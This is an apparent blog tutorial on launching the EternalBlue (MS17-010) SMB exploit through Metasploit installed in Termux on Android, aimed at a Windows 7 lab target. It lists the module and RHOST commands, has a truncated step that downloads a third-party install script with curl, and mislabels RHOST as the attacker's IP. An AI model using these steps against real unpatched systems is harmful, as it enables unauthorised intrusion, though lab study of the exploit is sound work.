Monday, 26 April 2021

Eternal blue Using Termux

 

Introduction

On 14 April 2017, a hacker group know by the name of Shadow Brokers leaked exploitation toolkit used by the National Security Agency (NSA). The leak was also used as part of a worldwide WannaCry ransomware attack. EternalBlue is also an exploit developed and used by the NSA according to former NSA employees.

Lab Environment

  • Target Machine: Windows 7 Ultimate x64 bit

What is EternalBlue

EternalBlue actually exploits a vulnerability found in Server Message Block (SMB) protocol of Microsoft Windows various platforms. This vulnerability can be found under CVE-2017–0144 in the CVE catalog.The most severe of the vulnerabilities could allow remote code execution if an attacker sends specially crafted messages to a Microsoft Server Message Block 1.0 (SMBv1) server.

Windows 7 Operating with Release Effected by EternalBlue

For Full List of Operating System Effected by Eternal Blue please : Click Here

Installing Metasploit Framework on Android

Step 1: Download Termux from play store.

Link: https://play.google.com/store/apps/details?id=com.termux

Step 2: Open Termux and Install curl package by typing “ pkg install curl “

Step 3: Installing metasploit: Type “ curl -LO

Link: https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh

Step 4: Metasploit-framework will be cloned in your present working directory

  • You will find metasploit.sh in your directory

Exploiting Windows 7 64 Bit

Our Target is Windows 7 professional x64 bit.

Target IP: 192.168.0.121

  • After Setting up Metasploit

Use exploit

  • Use exploit/windows/smb/ms17_010_eternalblue

Show Options


Set RHOST <Attacker’s IP> (In our case we have RHOST as 192.168.0.121) Set RHOST 192.168.0.121


To cross check we have to again see show options menu


Exploit in Work


Enumerating information of our target machine


Protection : Security Update for Microsoft Windows SMB Server

No comments:

Post a Comment

Ultimate Ethical Hacking Course By Udemy

 Lecture 10 Basic Commands  pwd, cd, ls, touch, less, history, cp, mv, echo, cat, whoami, mkdir, rmdir, rm ,locate, man, which, whatis, wher...